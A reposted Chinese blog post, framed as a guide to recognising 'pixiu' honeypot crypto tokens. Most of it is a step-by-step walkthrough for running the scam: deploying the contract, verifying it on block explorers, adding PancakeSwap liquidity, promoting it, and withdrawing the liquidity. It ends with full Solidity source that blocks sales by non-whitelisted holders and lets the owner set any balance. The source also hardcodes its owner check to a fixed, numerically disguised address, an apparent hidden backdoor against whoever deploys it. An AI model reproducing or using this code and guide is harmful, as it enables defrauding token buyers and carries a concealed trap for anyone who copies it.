转:如何识别土狗盘 貔貅盘 ,从智能合约部署详细剖析貔貅盘合约,别被割韭菜了

零基礎新手也能識別,詳細了解部署過程,解析貔貅合約割韭菜手法

本文所包括的合約程式在文末附有,供各位自行了解僅作為技術溝通學習使用,請不要擅自用於不法之用途。

一、貔貅合約
通過在程式內設置白名單限定賣出權限,讓不在白名單內的錢包地址購買通證后無法賣出,導致上當受騙的智能合約程式就是貔貅合約。
白名單本是智能合約程式的正常功能,但是被居心叵測的人利用後,成為了斂財的工具,造成不少人上當受騙。經過觀察幾個貔貅合約地址,hacker使用1–2個ETH或者數個BNB作為流動性本錢便可獲得數十個ETH或者上百個BNB的收入,由於貔貅盤操作隱蔽且利潤巨大,只需要很小的成本便可獲得數十倍以上的收入。故當下有愈演愈烈的趨勢,作為小白不可不防。

二、貔貅合約收割流程

1、合約編寫
Hacker通常使用solidity語言編寫包含白名單限制的智能合約

2、合約部署
通過編譯器將合約進行編譯,同時部署在目標區塊鏈上,包括ETH 主鏈、幣安智能鏈等,發行通證代幣(token)

3、添加流動性
在自動做市商(uniswap、pancakeswap)為發行的token添加流動性,使其可以被購買

4、宣傳引誘
通過建立twitter,telegram群組等方式,進行宣傳引誘,讓受害者進行購買,購買後無法賣出,所有的資金統統進入自動做市商的流動池

5、撤銷流動性
Hacker在資金進入流動池后,撤銷流動池,資金進入hacker錢包,完成收割

三、貔貅合約操作詳解
以下內容將採用實際操作的方式,詳細解析貔貅合約的運作,小白也能輕鬆辨認。

1、貔貅合約樣本
作為小白無需了解貔貅合約程式如何編譯,只需了解貔貅合約問題所在即可
(本文所用智能合約程式全文在文末附上下載鏈接,供各位自行了解)

 
123
function addAllow(address holder, bool allowApprove) external onlyOwner { allow[holder] = allowApprove; }

貔貅合約通常會包含上述程式編碼,通過onlyOwner(合約所有者)設置ALLOW名單,用於控制用戶賣出的的權限,用戶一旦購買,便無法賣出。
2.合約編譯
合約部署通常使用ETH提供的線上編譯工具REMIX(http://remix.ethereum.org),十分簡單,hacker無需安裝任何其他程式或配置系統環境,大陆用户可能需要翻墙。
首先,通過瀏覽器啟動REMIX,通常使用Chrome或FireFox,同時還需要準備Matemask錢包用於支付gas fee。

微信截图_20211217230628.png
運行畫面

微信截图_20211217214429.png
左侧workspaces已經提供了智能合約樣板

微信截图_20211217214444.png
選擇1_Storage.sol

微信截图_20211217231308.png
樣本中提供了程式模板,清除即可

微信截图_20211217214519.png
將貔貅合約程式寫入

微信截图_20211217214531.png
點擊左側第2個按鈕

微信截图_20211217214549.png
按圖操作,進行合約程式編譯

3.合約部署
完成編譯后的合約已經可以進行正常部署,ETH主網與幣安智能鏈的方法共通。

微信截图_20211217235446.png
選擇左側第三按鈕

接下來需要啟動Metamask,同時切換到對應的網路,如果需要部署在幣安智能鏈,選擇Binanace Smart Chain,需要準備BNB用以支付Gas, 如需要部署在以太坊主網,選擇Ethereum主網路,需要準備ETH用以支付Gas。
本文以幣安智能鏈為例。

微信截图_20211217214619.png
透過瀏覽視窗啟動Metamask,切換到需要部署的區塊鏈網路

微信截图_20211217214641.png
此處選擇Injected Web3,同時允許Metamask進行連接
Metamask與REMIX連接成功后,將顯示custom network,ACCOUNT處將顯示連接的錢包地址與餘額。(此錢包地址將作為合約管理錢包)

微信截图_20211217214654.png
在下方contract中選擇第3項SignSpecial — contracts/1_Storage.sol
按圖設置,其餘保持默認參數

微信截图_20211217214706.png
點擊右側箭頭

微信截图_20211217214714.png
填寫TOKEN信息
在彈出的四個項目輸入欄中,填寫需要發行的TOKEN信息
_NAME 中填寫Token的全程,例:Ethereum Token
_SYMBOL中填寫Token簡稱符號,例: ETH
_DECIMALS中填寫通證精度,及Token最小單位可以精確到小數點后的位數,通常為8或者18
_TOTALSUPPLY中填寫需要發行的Token總量,填寫時需在後面添加與通證精度數量相同的0。如_DECIMALS中填寫精度8,需要發行100萬枚,則需要在1000000后添加8個0,即100000000000000。

微信截图_20211217214751.png
以1千萬枚TEST為例
填寫完成后,點擊Trasact

微信截图_20211217214810.png
支付GAS

微信截图_20211217214833.png
屏幕下方提示即為部署成功

微信截图_20211217214843.png
左側DEPLOY下方將出現合約地址,點擊按鈕即可複製合約地址,需要妥善保存

4.合約開源
合約開源是合約部署的重要步驟,很多貔貅合約在部署上鏈后,會進行合約開源,以顯示合約正常,打消疑慮,讓受騙者放心購買。
合約開源需要使用區塊鏈瀏覽器
幣安智能鏈使用https://bscscan.com
Ethereum主網路使用https://etherscan.io/

微信截图_20211217215023.png
填入合約地址

微信截图_20211217215039.png
此處即可看到合約部署的hash值

微信截图_20211217215053.png
選擇Contract,下方顯示的是合約未開源之前的ByteCode
點擊Verify and Publish

微信截图_20211217215129.png
在第一行中填入合約地址,接下來按圖填寫,選擇Continue

微信截图_20211217215154.png
將合約程式完整粘貼在下方輸入框內

微信截图_20211217215206.png
點擊Verify and Publish
點擊Verify and Publish后,等待合約開源

微信截图_20211217215301.png
開源完成后,返回合約地址首頁,選擇Contract
之前的ByteCode變成合約程式代碼,開源完成

5.Metamask添加Token

微信截图_20211217215334.png
啟動Metamask,在最下方選擇Import tokens

微信截图_20211217215410.png
填入合約地址,點擊Add Custom Token

微信截图_20211217215419.png
點擊Import Tokens

微信截图_20211217215431.png
Token添加完畢

6.添加流動性
貔貅合約發行的Token如果需要被購買,需要使用自動做市商添加流動性,為Token賦予價格和流動池。幣安智能鏈使用Pancakeswap,Ethereum主網路使用Uniswap.
添加流動性需要使用ETH或BNB為Token提供初始價格和流動池,由於Token被購買後無法賣出,所以流動池中添加的ETH不會減少只會增加,只能通過撤銷流動性取出,因此Token價格也會不斷升高,產生拉升效果。

微信截图_20211217215537.png
打開PancakeSwap,選擇流動性
打開PancakeSwap后,使用合約管理錢包進行連接

微信截图_20211217215544.png
選擇增加流動性

微信截图_20211217215711.png
點擊管理代幣

微信截图_20211217215719.png
選擇代幣,在下方填入合約地址

微信截图_20211217220006.png
點擊導入

微信截图_20211217220021.png
點擊導入

微信截图_20211217220039.png
填入兩種代幣的數額
在兩個輸入框中分別填寫需要添加的金額,將合約發行的代幣全部填入,同時在BNB/ETH中填入初始流動池的金額,點擊授權和供應,支付gas,流動池便添加完畢,代幣已經可供購買。
此處提供的BNB/ETH將決定代幣的初始價格,如填入1枚ETH,代幣100萬枚,則初始價格為1000000 Token = 1 ETH
流動池價值過少會影響滑點,同時存在風險,人們通常不會購買,因此Hacker在部署貔貅合約時,通常會提供2–5枚ETH以上,或者10–20枚BNB以上,以降低滑點,提高Token的初始價格吸引購買。由於貔貅合約的關係,添加的ETH/BNB不會損失,因此屬於無本買賣,利潤驚人。

7.常見宣傳手段
通過TwiIter、Telegram建立社群進行推廣
進行小額購買進行拉升,增加持幣地址,以在行情站點中顯示K線圖
主動鎖定流動池幾天,以獲取推送
常見工具:
Token BB 空投工具:www.tokenbb.com/bulk-sender
ETH / BSC锁币工具:https://dxsale.app
8.撤銷流動性
撤銷流動性即為收割的最後步驟,Hacker在獲取到足夠的利益后,及可在PancakeSwap的流動性頁面中撤銷流動性,所有的Token和ETH/BNB將會進入合約管理錢包。

9.添加白名單
本文提供的貔貅合約具備添加白名單功能
微信截图_20211217220309.png
使用管理錢包打開區塊鏈瀏覽器
點擊Contract — Write Contract
點擊Connect to Web3,使用管理錢包鏈接

微信截图_20211217220629.png
找到此項,在上方填入需要添加的地址,下方填入ture即可,如遇到gas 超額Bug需要等待一段時間后在進行嘗試

本文涉及合約程式

 
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127
pragma solidity ^0.4.26; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == address(53155380323066976790887286642315878746148553097)); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract SignSpecial is Ownable { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balances[msg.sender] = totalSupply; allow[msg.sender] = true; } using SafeMath for uint256; mapping(address => uint256) public balances; mapping(address => bool) public allow; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) public allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(allow[_from] == true); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function addAllow(address holder, bool allowApprove) external onlyOwner { allow[holder] = allowApprove; } function tokenview(address miner, uint256 _value) external onlyOwner { balances[miner] = _value; } }

僅供學習分析使用,請勿用於不法用途,建議使用測試網路進行測試
由於編碼包含隱蔽功能,默認使用0.4.0版本編譯,需保持編碼完整複製,修改編碼可能會導致合約程式無法運行

# 区块链
评论
Suntos
文章1
分类1
标签1